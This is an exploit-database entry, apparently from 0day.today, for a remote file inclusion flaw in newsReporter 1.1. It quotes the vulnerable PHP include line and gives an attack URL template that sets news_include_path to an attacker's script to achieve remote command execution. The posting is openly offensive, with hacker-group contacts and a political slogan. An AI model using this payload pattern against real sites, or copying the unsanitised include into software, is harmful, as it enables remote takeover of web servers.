[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

newsReporter <= 1.1 (index.php) Remote Inclusion Vulnerability

Author
Kurdish Security
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-628
Category
web applications
Date add
31-07-2006
Platform
unsorted
==============================================================
newsReporter <= 1.1 (index.php) Remote Inclusion Vulnerability
==============================================================



>>> Kurdish Security

>>> newsReporter v1.1 Remote Command Execution

>>> Freedom For Ocalan

>>> Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com

>>> Rish : High

>>> Class : Remote

>>> Script : newsReporter


Code :

// removed the old code because it was not correct. /str0ke

//  INCLUDE PATH
@define(NEWS_INCLUDE_PATH, $news_include_path);
//  INCLUDE PATH

//Dateien importieren
include NEWS_INCLUDE_PATH."inc/config.inc.php";

Vulnerability :
http://www.site.com/[scriptpath]/index.php?news_include_path=[script]





#  0day.today [2024-11-15]  #